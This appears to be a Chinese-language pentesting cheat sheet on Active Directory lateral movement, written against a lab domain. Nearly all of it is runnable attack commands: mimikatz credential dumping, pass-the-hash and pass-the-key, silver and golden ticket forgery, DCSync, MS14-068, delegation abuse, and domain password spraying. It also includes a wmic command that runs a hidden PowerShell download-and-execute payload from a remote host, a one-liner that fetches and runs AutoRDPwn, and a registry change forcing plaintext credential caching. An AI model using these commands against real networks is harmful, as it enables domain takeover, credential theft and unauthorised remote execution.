横向移动
ptx(没有得到明文)
pth(pass the hash)
拿不到明文,我们又想用ntlm hashes搞事情
条件:目标的用户名以及ntlm hash
工具:smbmap,crackmapexec,smbexec,msf,mimikatz.exe
注意:在使用pth的时候我们需要注意kb2871997这个补丁,对于非rid500的账户都不能远程登录ipc,或者psexec都不行
还有我门需要在这里注意下面几个注册表会对我们pth的账户有限制
不告诉你!!!!!!
mimikatz
首先我们获得本地的一个ntlm hash 需要管理员权限甚至是system权限。
privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
pth攻击:
sekurlsa::pth /user:administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7
然后会弹出来自己的cmd,但是我们可以使用以下命令
net use 192.168.3.21c$
dir OWA2010CN-God.god.orgc$
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。cmd修改注册表命令:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
访问到了域控。注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令。
还可以使用mimikatz实现rdp.
限制条件:
需要服务器端开启了Restricted Admin mode模式,受限管理员模式 ,主要功能是使得凭据不会暴露在目标系统中,使用当前Windows登录凭据,不需要输入口令,直接登录即可。所以为PTH提供了可能
适用系统:
Windows 8.1和Windows Server 2012 R2默认支持该功能Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
sekurlsa::pth /user:administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
crackmapexec
单个pth远程执行命令:
批量pth传递
crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
wmiexec.exe(其实也有powershell,py,vbs版本)
单个目标横向移动:
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 God/administrator@192.168.3.21 "whoami"
批量pth:
wmiexec Target 192.168.3.0/24 Domain God Username administrator Hash ccef208c6485269c20db2cad21734fe7
God为域,如果无域就是workgroup
ps版本的批量pth:
本地加载(推荐使用)
powershell -exec bypass
Import-Module .Invoke-WMIExec.ps1
Import-Module .Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain God -Username administrator -Hash ccef208c6485269c20db2cad21734fe7
ptt(pass the ticket)
白银票据
特点:
- 不需要和kdc进行交互
- 需要目标服务的ntlm hash
- 域内所有用户的域sid是一样的。
模拟一个场景:
当我们拿下一个域内服务器,但是我们不是域内账户,我们要使用域内账户的服务,而且这个服务需要经过kdc的验证,这个时候我们就可以使用白银票据。
mimikatz.exe 伪造 CIFS 服务
kerberos::list 列出票据
kerberos::purge 清除票据
伪造方式
先导出目标服务器的hash(这时候我们已经是高权限了)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
伪造票据:
mimikatz "kerberos::golden /domain: <域名> /sid:<域的sid> /target:<目标服务器主机名> /service:<服务类型> /rc4:
/user:<用户名> /ptt" exit
获得文件共享服务的权限
伪造文件共享服务的权限。
192.168.3.21如下:
假设我们现在知道了域控的ntlm hash那么
mimikatz "kerberos::golden /domain:God.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD /service:CIFS /rc4:ccef208c6485269c20db2cad21734fe7 /user:administrator /ptt" exit
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:cifs /user:administrator /ptt
这里的域sid是用户的sid去除最后的一个值。
下面是我们文件服务器白银票据的传递:
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:FILESERV.god.org /rc4:4776208f07860f0613573460bd72db10 /service:cifs /user:123 /ptt
mimikatz.exe 伪造LDAP 服务权限
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:ldap /user:administrator /ptt
前提:我们能够获取的用户的权限足够大
通过这种方法能够拿到,对于域控可以拿到指定用户的ntlm hash,如果是krbtgt的hash那么就可以直接使用黄金票据,美滋滋~。
命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
这里我们
example:
lsadump::dcsync /dc:OWA2010CN-God.god.org /domain:God.org /user:webadmin
向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
白银票据开启远程powershell服务
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:http /user:administrator /ptt
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:wsman /user:administrator /ptt
黄金票据
黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希4.伪造用户名
在域内管理员是都可以访问域控的。
一旦拥有访问权限,就可以使用mimikatz来提取krbtgt账户密码hash
在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性.
在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。 一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情会变得更加有趣,因为AD Forest中的任何组都可以被包含并用于授权访问。使用最新版本的Mimikatz,我们现在可以将SID历史记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域名的KRBTGT帐户密码哈希被获取到,通过黄金票据可伪造用户登录到整个森林中。 总而言之,一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域
除非在Enterprise Admins中,否则黄金票据不能跨域信任使用,。标准的黄金票据仅限于其创建的子域.
mimikatz.exe黄金票据
privilege::debug
lsadump::lsa /patch
mimikatz log "lsadump::dcsync /domain:God.org /user:krbtgt"
b097d7ed97495408e1537f706c357fc5
使用krbtgt的hash值:
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
kerberos::golden /admin:administrator /domain:God.org /id:502 /sid: S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ptt
使用krbtgt的aes256值:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god/ticket:gold.kirbi"
kerberos::ptt c:gold.kirbi
就可以啦。
new:
mimikatz "kerberos::golden /domain:<域名> /sid:<域sid> /rc4:
mimikatz "kerberos::golden /domain:God.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /rc4:b097d7ed97495408e1537f706c357fc5 /user:ab /ptt" exit
使用psexec可以反弹cmd的shell
黄金票据+dcsync获取指定用户的密码
接着上面我们已经实现黄金票据
lsadump::dcsync /user:boss /domain:God.org
ms14-068
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u webadmin@God.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
然后就可以~
ptk(pass the key)
获取目标用户的aes key
mimikatz "privilege::debug" "sekurlsa::ekeys"
注入aes key:
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
注意这里需要高权限。
成功得到用户明文密码
psexec (445 139)
要求:
- smb服务必须打开
- 文件和打印机共享必须打开
- admin$必须可以访问
psexec.exe 192.168.3.21 -u administrator -p Admin12345 -s cmd
wmi(135)
直接上线
wmic /NODE:192.168.3.31 /user:"" /password:"admin!@#45" PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://...***:99/a'))""
wmic.vbc
cscript.exe .wmiexec.vbs /shell 192.168.3.21 Godadministrator Admin12345
smbexec or dcomexec
上面两个文件有各种代码的版本
eg:
smbexec -hashes xxxxxx administrator@192.168.3.21
winrs
winrs -r:192.168.3.21 -u:administrator -p:Admin12345 "whoami"
反弹shell
winrs -r:192.168.3.21 -u:administrator -p:Admin12345 "cmd"
这个太过麻烦了,之前可能需要一些配置trusthost之类的
委派攻击
非约束委派
前提:需要域管理员登陆过
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
利用方式
使用adfind查询非约束委派
AdFind.exe -b "DC=God,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
或者powerview
powershell -exec bypass
Import-Module .powerview.ps1
Get-NetComputer -Unconstrained -Domain God.org //查找非约束委派的主机
查找非约束委派的用户
然后我们使用mimikatz
privilege::debug
sekurlsa::tickets /export
将票据导出来,下面是管理员的一个票据
然后倒入内存
dir OWA2010CN-Godc$
非约束委派+printer spooler
spool sample
2012
未完.....
约束委派
然后需要我们设定一个服务用户
设置:setspn -U -A variant/golden xxx
查看是否成功:setspn -l xxx
查找约束委派用户
Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置约束委派的主机
Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
tgt::ask /user:fileadmin /domian:God.org /password:Admin12345 /ticket:123.kirbi
tgs::s4u /tgt:123.kirbi /user:administrator@God.org /service:cifs/webadmin.God.org
又会获得一个
kerberos::ptt 3.kirbi
这时候不出意外就可以访问啦
other
sc服务
远程启动一个exe可以直接上线
sc 192.168.3.21 create exampleservice binpath= "c:1.exe"
sc 192.168.3.21 start exampleservice
文件的移动
copy c:windows empwebadmi.txt OWA2010CN-God.God.orgc$
AutoRDPwn
powershell 4.0或者更高版本
查看版本
$host
项目的地址
powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfileAutoRDPwn.ps1 ; .AutoRDPwn.ps1"
然后他会让我们选择语言之类的
傻瓜操作
sharprdp
sharprdp.exe computername=dc01 command=whoami username=Godadministrator password=admin!@#45
adexplorer
这个工具只需要我们输入域,用户名密码就可以查看一些信息
adfind
域中也是有组的全局组,通用组,域本地组
以下是一些查询命令。
列出域控制器名称:
>AdFind -sc dclist
查询当前域中在线的计算机:
>AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统):>AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机:
>AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
>AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:
>AdFind -users name
查询所有GPO:
>AdFind -sc gpodmp
指定用户名,指定组,指定域
adfind.exe -b cn=administrator,cn=administrator,dc=God,dc=org sn
用户组可以登陆普通的机器。
所以我尝试了使用webadmin去登陆了fileadmin是可以的
枚举会话
psloggedon.exe OWA2010CN-GOD
netsess.exe
pvefindaduser.exe
查看指定域的spn信息
setspn.exe -T offensive -q * / *
密码用户名枚举
powershell -exec bypass
Import-module .DomainPasswordSpray.ps1
这里有两个脚本还有一个是改编版地址如下:
https://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
枚举用户
Get-DomainUserList -Domain God.org -RemoveDisabled -RemovePotentialLockouts
跑密码:
Invoke-DomainPasswordSpray -Domain God.org -Password Admin12345
Get-DomainUserList -Domain God.org -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
当然我们这里还可以使用字典来
Invoke-DomainPasswordSpray -UserList userlist.txt -Domain God.org -PasswordList 1.txt -OutFile test.txt
Invoke-DomainPasswordSpray -UserList userlist.txt -Domain God.org -PasswordList 1.txt -OutFile test.txt
参考
https://payloads.online/posts/
https://www.cnblogs.com/backlion/p/8119013.html
https://www.cnblogs.com/backlion/p/8127868.html